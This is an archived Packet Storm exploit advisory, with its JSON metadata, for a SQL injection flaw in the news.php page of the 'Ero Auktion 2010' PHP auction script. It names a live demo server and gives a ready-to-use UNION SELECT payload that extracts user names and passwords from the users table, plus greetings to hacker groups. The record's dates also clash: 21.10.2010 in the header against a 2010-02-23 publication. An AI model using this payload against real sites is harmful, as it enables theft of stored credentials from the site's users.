ID PACKETSTORM:86549
Type packetstorm
Reporter Easy Laster
Modified 2010-02-23T00:00:00
Description
`----------------------------Information----------------------------------------
+Autor : Easy Laster
+Date : 21.10.2010
+Script : Ero Auktion 2010 SQL Injection news.php
+Download : -----
+Demo :http://wp1072278.vwp3485.webpack.hosteurope.de/demoserver/flashauktion2010/
+Price : 39,90
+Language :PHP
+Discovered by Easy Laster
+Security Group 4004-Security-Project
+Greetz to Team-Internet ,Underground Agents
+And all Friends of Cyberlive : R!p,Eddy14,Silent Vapor,Nolok,
Kiba,-tmh-,Dr Chaos,HANN!BAL,Kabel,-=Player=-,Lidloses_Auge,
N00bor.
--------------------------------------------------------------------------------
___ ___ ___ ___ _ _ _ _
| | | | | | |___ ___ ___ ___ ___|_| |_ _ _ ___ ___ ___ ___ |_|___ ___| |_
|_ | | | | |_ |___|_ -| -_| _| _| | _| | |___| . | _| . | | | -_| _| _|
|_|___|___| |_| |___|___|___|_| |_|_| |_ | | _|_| |___|_| |___|___|_|
|___| |_| |___|
--------------------------------------------------------------------------------
+Vulnerability : www.Site.com/news.php?id=[SQL]
+Exploitable : www.Site.com/flashauktion2010/news.php?id=11111111+union+select
+1,2,concat%28name,0x3a,password%29,4,5+from+users#
--------------------------------------------------------------------------------
`
{"sourceHref": "https://packetstormsecurity.com/files/download/86549/eroauktion2010-sql.txt", "sourceData": "`----------------------------Information---------------------------------------- \n+Autor : Easy Laster \n+Date : 21.10.2010 \n+Script : Ero Auktion 2010 SQL Injection news.php \n+Download : ----- \n+Demo :http://wp1072278.vwp3485.webpack.hosteurope.de/demoserver/flashauktion2010/ \n+Price : 39,90\u0080 \n+Language :PHP \n+Discovered by Easy Laster \n+Security Group 4004-Security-Project \n+Greetz to Team-Internet ,Underground Agents \n+And all Friends of Cyberlive : R!p,Eddy14,Silent Vapor,Nolok, \nKiba,-tmh-,Dr Chaos,HANN!BAL,Kabel,-=Player=-,Lidloses_Auge, \nN00bor. \n-------------------------------------------------------------------------------- \n___ ___ ___ ___ _ _ _ _ \n| | | | | | |___ ___ ___ ___ ___|_| |_ _ _ ___ ___ ___ ___ |_|___ ___| |_ \n|_ | | | | |_ |___|_ -| -_| _| _| | _| | |___| . | _| . | | | -_| _| _| \n|_|___|___| |_| |___|___|___|_| |_|_| |_ | | _|_| |___|_| |___|___|_| \n|___| |_| |___| \n-------------------------------------------------------------------------------- \n+Vulnerability : www.Site.com/news.php?id=[SQL] \n+Exploitable : www.Site.com/flashauktion2010/news.php?id=11111111+union+select \n+1,2,concat%28name,0x3a,password%29,4,5+from+users# \n-------------------------------------------------------------------------------- \n`\n", "edition": 1, "references": [], "modified": "2010-02-23T00:00:00", "hash": "4c0e7e44366b35ee77d905c46cb02e56e4849f349cb53ca518ffacc827272379", "cvelist": [], "history": [], "bulletinFamily": "exploit", "href": "https://packetstormsecurity.com/files/86549/Ero-Auktion-2010-SQL-Injection.html", "description": "", "id": "PACKETSTORM:86549", "reporter": "Easy Laster", "lastseen": "2016-11-03T10:19:11", "published": "2010-02-23T00:00:00", "enchantments": {"score": {"value": 0.8, "vector": "NONE", "modified": "2016-11-03T10:19:11", "rev": 2}, "dependencies": {"references": [], "modified": "2016-11-03T10:19:11", "rev": 2}, "vulnersScore": 0.8}, "objectVersion": "1.2", "type": "packetstorm", "cvss": {"vector": "NONE", "score": 0.0}, "title": "Ero Auktion 2010 SQL Injection", "viewCount": 1, "hashmap": [{"hash": "708697c63f7eb369319c6523380bdf7a", "key": "bulletinFamily"}, {"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "cvelist"}, {"hash": "d4be9c4fc84262b4f39f89565918568f", "key": "cvss"}, {"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "description"}, {"hash": "617e713b8311fe6ea32c6509264482ff", "key": "href"}, {"hash": "32a846028c3cee468309f9ebb7bdc7d8", "key": "modified"}, {"hash": "56765472680401499c79732468ba4340", "key": "objectVersion"}, {"hash": "32a846028c3cee468309f9ebb7bdc7d8", "key": "published"}, {"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "references"}, {"hash": "56b6bb0a35af9a76721300105e7f42fb", "key": "reporter"}, {"hash": "806816f4b55e5e35d628a84aabeb94fd", "key": "sourceData"}, {"hash": "409e99d948403a2c2342a1b46bc60a7c", "key": "sourceHref"}, {"hash": "51236da445138729672201662e3355a8", "key": "title"}, {"hash": "6466ca3735f647eeaed965d9e71bd35d", "key": "type"}]}
{}
